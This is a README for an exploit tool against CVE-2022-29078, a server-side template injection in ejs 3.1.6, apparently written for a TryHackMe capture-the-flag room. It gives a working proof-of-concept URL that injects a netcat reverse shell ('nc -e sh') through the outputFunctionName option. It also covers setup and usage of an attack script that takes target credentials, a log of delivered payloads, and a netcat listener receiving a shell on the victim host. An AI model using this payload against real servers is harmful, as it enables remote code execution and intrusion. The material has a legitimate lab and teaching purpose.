THM Challenge: SSTI RCE

📜 Description

The ejs (aka Embedded JavaScript templates) package 3.1.6 for Node.js allows server-side template injection in settings[view options][outputFunctionName]. This is parsed as an internal option, and overwrites the outputFunctionName option with an arbitrary OS command (which is executed upon template compilation).

📚 Table of Contents

• 📜 Description
• 🛠️ Installation
• 💁 References

POC

http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s

🛠️ Installation and Usage

$ git clone https://github.com/l0n3m4n/CVE-2022-29078.git
$ python3 -m venv venv && source venv/bin/activate && cd CVE-2022-29078
$ pip install colorama==0.4.6 && pip install requests==2.26.0 

$ python3 CVE-2022-29078.py -h

  _________ ____________________.___                      .__         .__  __   
 /   _____//   _____/\__    ___/|   | ____ ___  _________ |  |   ____ |__|/  |_ 
 \_____  \ \_____  \   |    |   |   |/ __ \|  \/  /\____ \|  |  /  _ \|  \   __|
 /        \/        \  |    |   |   \  ___/ >    < |  |_> >  |_(  <_> )  ||  |  
/_______  /_______  /  |____|   |___|\___  >__/\_ \|   __/|____/\____/|__||__|  
        \/        \/                     \/      \/|__|                                     
      Author: l0n3m4n | ID: CVE-2022-29078 | THM Challenges: Whiterose


usage: CVE-2022-29078.py [-h] -t TARGET -u USER -p PASSWORD

Send a crafted POST request with custom URL, username, and password.

options:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        Target URL (e.g., http://admin.cyprusbank.thm/settings)
  -u USER, --user USER  Username to send in the request
  -p PASSWORD, --password PASSWORD
                        Password to send in the request

Example: python3 exploit-ssti.py -t http://admin.cyprusbank.thm/settings -u user1 -p pa$$w0rd 

Output

  _________ ____________________.___                      .__         .__  __   
 /   _____//   _____/\__    ___/|   | ____ ___  _________ |  |   ____ |__|/  |_ 
 \_____  \ \_____  \   |    |   |   |/ __ \|  \/  /\____ \|  |  /  _ \|  \   __|
 /        \/        \  |    |   |   \  ___/ >    < |  |_> >  |_(  <_> )  ||  |  
/_______  /_______  /  |____|   |___|\___  >__/\_ \|   __/|____/\____/|__||__|  
        \/        \/                     \/      \/|__|                                     
      Author: l0n3m4n | ID: CVE-2022-29078 | THM Challenges: Whiterose

[!] The exploit will automatically exit once we received a 504 from the server

Log

$ cat exploit-ssti.log
2024-11-06 11:22:28,919 - INFO - Payload delivered successfully.
2024-11-06 11:32:47,806 - INFO - Payload delivered successfully.
2024-11-06 11:32:58,284 - INFO - Payload delivered successfully.
2024-11-06 11:37:13,616 - INFO - Payload delivered successfully.
2024-11-06 11:55:16,861 - WARNING - Connection failed with status code: 504
2024-11-06 11:59:27,820 - WARNING - Connection failed with status code: 504

Netcat listener

$ sudo rlwrap -cAr nc -lvnp 443                                   
[sudo] password for l0n3m4n: 
listening on [any] 443 ...
connect to [10.2.4.61] from (UNKNOWN) [10.10.145.199] 38020
bash: cannot set terminal process group (1233): Inappropriate ioctl for device
bash: no job control in this shell
web@cyprusbank:~/app$ 

💁 References

• mde/ejs#720
• https://github.com/projectdiscovery/nuclei-templates/main/http/cves/2022/CVE-2022-29078.yaml
• https://github.com/mde/ejs/releases
• https://eslam.io/posts/ejs-server-side-template-injection-rce
• https://security.netapp.com/advisory/ntap-20220804-0001